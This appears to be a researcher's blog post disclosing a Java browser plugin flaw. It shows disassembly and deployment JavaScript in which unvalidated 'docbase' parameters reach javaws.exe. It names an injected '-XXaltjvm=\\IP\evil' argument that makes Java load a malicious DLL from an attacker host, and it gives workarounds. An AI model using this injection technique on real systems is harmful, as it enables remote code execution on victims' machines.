1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 |
Bye bye my little 0day :(, Tavis Ormandy did a great job uncovering a big logic flaw within Java JRE. I discovered that bug and other that affects every browser few weeks ago and I posted the common "0day++" tweet. The method in which Java Web Start support has been added to the JRE is not less than a deliberately embedded backdoor(I really don't think so) or a flagrant case of extreme negligence (+1). Let's see: Java Plugin for Browsers (Chrome,Firefox...) - Windows: npjp2.dll (The same for IE8's jp2iexp.dll) .text:6DAA3D96 .text:6DAA3D96 ; =============== S U B R O U T I N E ======================================= .text:6DAA3D96 .text:6DAA3D96 ; Attributes: bp-based frame .text:6DAA3D96 .text:6DAA3D96 sub_6DAA3D96proc near ; CODE XREF: sub_6DAA2ACB+170p .text:6DAA3D96 .text:6DAA3D96 Data= byte ptr -264h .text:6DAA3D96 var_263 = byte ptr -263h .text:6DAA3D96 ApplicationName = byte ptr -160h .text:6DAA3D96 StartupInfo = _STARTUPINFOA ptr -5Ch .text:6DAA3D96 ProcessInformation= _PROCESS_INFORMATION ptr -18h .text:6DAA3D96 cbData= dword ptr -8 .text:6DAA3D96 hKey= dword ptr -4 .text:6DAA3D96 arg_0 = dword ptr8 .text:6DAA3D96 arg_4 = dword ptr0Ch .text:6DAA3D96 .text:6DAA3D96 pushebp .text:6DAA3D97 mov ebp, esp .text:6DAA3D99 sub esp, 264h .text:6DAA3D9F pushedi .text:6DAA3DA0 lea eax, [ebp+hKey] .text:6DAA3DA3 pusheax ; phkResult .text:6DAA3DA4 push20019h; samDesired .text:6DAA3DA9 xor edi, edi .text:6DAA3DAB pushedi ; ulOptions .text:6DAA3DAC pushoffset SubKey ; "JNLPFile\\Shell\\Open\\Command" .text:6DAA3DB1 push80000000h ; hKey .text:6DAA3DB6 mov [ebp+cbData], 104h .text:6DAA3DBD callds:RegOpenKeyExA .text:6DAA3DC3 testeax, eax .text:6DAA3DC5 jzshort loc_6DAA3DCE .text:6DAA3DC7 xor eax, eax .text:6DAA3DC9 jmp loc_6DAA3F16 The default handler is "javaws.exe",continuing... .text:6DAA3EB7 push[ebp+arg_4] .text:6DAA3EBA pusheax .text:6DAA3EBB pushoffset aSDocbaseSS ; "\"%s\" -docbase %s %s" .text:6DAA3EC0 pushesi ; LPSTR .text:6DAA3EC1 callebx ; wsprintfA .text:6DAA3EC3 add esp, 14h .text:6DAA3EC6 jmp short loc_6DAA3ED4 .text:6DAA3EC8 ; --------------------------------------------------------------------------- .text:6DAA3EC8 .text:6DAA3EC8 loc_6DAA3EC8: ; CODE XREF: sub_6DAA3D96+11Fj .text:6DAA3EC8 pusheax .text:6DAA3EC9 pushoffset aSS_0; "\"%s\" %s" .text:6DAA3ECE pushesi ; LPSTR .text:6DAA3ECF callebx ; wsprintfA .text:6DAA3ED1 add esp, 10h .text:6DAA3ED4 .text:6DAA3ED4 loc_6DAA3ED4: ; CODE XREF: sub_6DAA3D96+130j .text:6DAA3ED4 push11h .text:6DAA3ED6 pop ecx .text:6DAA3ED7 xor eax, eax .text:6DAA3ED9 lea edi, [ebp+StartupInfo] .text:6DAA3EDC rep stosd .text:6DAA3EDE lea eax, [ebp+ProcessInformation] .text:6DAA3EE1 pusheax ; lpProcessInformation .text:6DAA3EE2 xor ebx, ebx .text:6DAA3EE4 lea eax, [ebp+StartupInfo] .text:6DAA3EE7 pusheax ; lpStartupInfo .text:6DAA3EE8 pushebx ; lpCurrentDirectory .text:6DAA3EE9 pushebx ; lpEnvironment .text:6DAA3EEA pushebx ; dwCreationFlags .text:6DAA3EEB pushebx ; bInheritHandles .text:6DAA3EEC pushebx ; lpThreadAttributes .text:6DAA3EED pushebx ; lpProcessAttributes .text:6DAA3EEE pushesi ; lpCommandLine .text:6DAA3EEF lea eax, [ebp+ApplicationName] .text:6DAA3EF5 pusheax ; lpApplicationName .text:6DAA3EF6 mov [ebp+StartupInfo.cb], 44h .text:6DAA3EFD callds:CreateProcessA So basically the Java-Plugin Browser is running "javaws.exe" without validating command-line parameters. These parameters can be controlled by attackers via specially crafted embed html tags within a webpage. Let's see JavaDeploy.txt: if (browser == 'MSIE') { document.write('<' + 'object classid="clsid:8AD9C840-044E-11D1-B3E9-00805F499D93" ' + 'width="0" height="0">' + '<' + 'PARAM name="launchjnlp" value="' + jnlp + '"' + '>' + '<' + 'PARAM name="docbase" value="' + jnlpDocbase + '"' + '>' + '<' + '/' + 'object' + '>'); } else if (browser == 'Netscape Family') { document.write('<' + 'embed type="application/x-java-applet;jpi-version=' + deployJava.firefoxJavaVersion + '" ' + 'width="0" height="0" ' + 'launchjnlp="' +jnlp + '"' + 'docbase="' +jnlpDocbase + '"' + ' />'); } That's it. This is how JAVA Plugin identifies Java Web Start content (jnlp files).So We can inject command-line parameters through "docbase" tag and even "launchjnlp". What type of arguments can we abuse to compromise a system? java.exe and javaw.exe support an undocumented-hidden command-line parameter "-XXaltjvm" and curiosly also "-J-XXaltjvm" (see -J switch in javaws.exe). This instructs Java to load an alternative JavaVM library (jvm.dll or libjvm.so) from the desired path. Game over. We can set -XXaltjvm=\\IP\evil , in this way javaw.exe will load our evil jvm.dll. Bye bye ASLR, DEP... Linux Same logic error, check this function "_Z10launchJNLPPKcS0" in libnpjp2.so MACOSX Not vulnerable. Workaround Disable javaws/javaws.exe in linux and Windows by any mean. Disable Deployment Toolkit to avoid unwanted installation as stated in Tavis' advisory. |